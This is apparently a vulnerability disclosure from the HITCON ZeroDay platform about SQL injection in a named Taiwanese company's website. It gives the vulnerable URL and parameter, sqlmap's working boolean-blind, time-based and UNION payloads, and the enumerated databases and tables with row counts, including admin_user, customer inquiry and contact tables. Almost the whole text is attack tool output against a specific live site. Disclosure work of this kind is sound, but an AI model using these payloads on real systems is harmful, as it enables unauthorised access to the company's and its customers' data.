瑞沧企业股份有限公司SQL - HITCON ZeroDay

瑞沧企业股份有限公司SQL
SQL位置：
http://www.algol.com.tw/apply_description.php?CNo=35

GET parameter 'CNo' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 45 HTTP(s) requests:

Parameter: CNo (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: CNo=35 AND 9969=9969

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: CNo=35 AND SLEEP(5)

Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: CNo=-5028 UNION ALL SELECT NULL,NULL,CONCAT(0x716b716a71,0x784f47764879596b73635a6a684f6264576a417a53445a4671616c434f6e69426d4c6f5a4a577774,0x71707a7171),NULL-- NxQx

[16:36:42] [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 5.3.29
back-end DBMS: MySQL >= 5.0.12
[16:36:42] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\www.algol.com.tw'

确认影响库：（2个）
available databases [2]:
[] algolcom_db
[] information_schema

[16:40:03] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\www.algol.com.tw'

查看数据量：
Database: algolcom_db
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| inquiry_product | 1051 |
| inquiry | 806 |
| cn_inquiry_product | 248 |
| contactus | 235 |
| cn_inquiry | 224 |
| en_inquiry_product | 165 |
| en_inquiry | 153 |
| cn_seo | 102 |
| en_contactus | 97 |
| cn_product | 93 |
| product | 91 |
| seo | 86 |
| en_seo | 82 |
| en_product | 76 |
| ask_price | 63 |
| download_object | 59 |
| cn_download_object | 50 |
| product_photo | 50 |
| cn_product_photo | 49 |
| permission | 48 |
| category | 46 |
| cn_category | 46 |
| en_category | 42 |
| en_product_photo | 33 |
| ask_pro | 23 |
| en_download_object | 18 |
| epaper_member | 18 |
| cn_website_setting | 13 |
| en_website_setting | 13 |
| website_setting | 13 |
| cn_company | 10 |
| cn_faq | 10 |
| company | 10 |
| en_faq | 10 |
| faq | 10 |
| cn_seo_page | 9 |
| en_company | 9 |
| en_seo_page | 9 |
| news | 9 |
| seo_page | 9 |
| banner | 7 |
| cn_banner | 7 |
| en_ask_price | 7 |
| en_epaper_member | 7 |
| cn_contactus | 6 |
| en_banner | 6 |
| en_ask_pro | 5 |
| cn_epaper_member | 4 |
| cn_site_info | 4 |
| en_site_info | 4 |
| site_info | 4 |
| cn_faq_category | 3 |
| en_faq_category | 3 |
| faq_category | 3 |
| cn_ask_price | 2 |
| cn_epaper | 2 |
| cn_news | 2 |
| cn_news_category | 2 |
| en_epaper | 2 |
| en_news | 2 |
| en_news_category | 2 |
| epaper | 2 |
| news_category | 2 |
| admin_user | 1 |
| cn_ask_pro | 1 |
+---------------------------------------+---------+

Database: information_schema
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| COLUMNS | 1741 |
| SESSION_VARIABLES | 453 |
| GLOBAL_VARIABLES | 439 |
| GLOBAL_STATUS | 341 |
| SESSION_STATUS | 341 |
| COLLATION_CHARACTER_SET_APPLICABILITY | 219 |
| COLLATIONS | 219 |
| PARTITIONS | 145 |
| TABLES | 145 |
| KEY_COLUMN_USAGE | 85 |
| STATISTICS | 85 |
| TABLE_CONSTRAINTS | 85 |
| PLUGINS | 42 |
| CHARACTER_SETS | 40 |
| INNODB_FT_DEFAULT_STOPWORD | 36 |
| ENGINES | 9 |
| SCHEMA_PRIVILEGES | 4 |
| SCHEMATA | 2 |
| PROCESSLIST | 1 |
| USER_PRIVILEGES | 1 |
+---------------------------------------+---------+

[16:44:02] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\www.algol.com.tw'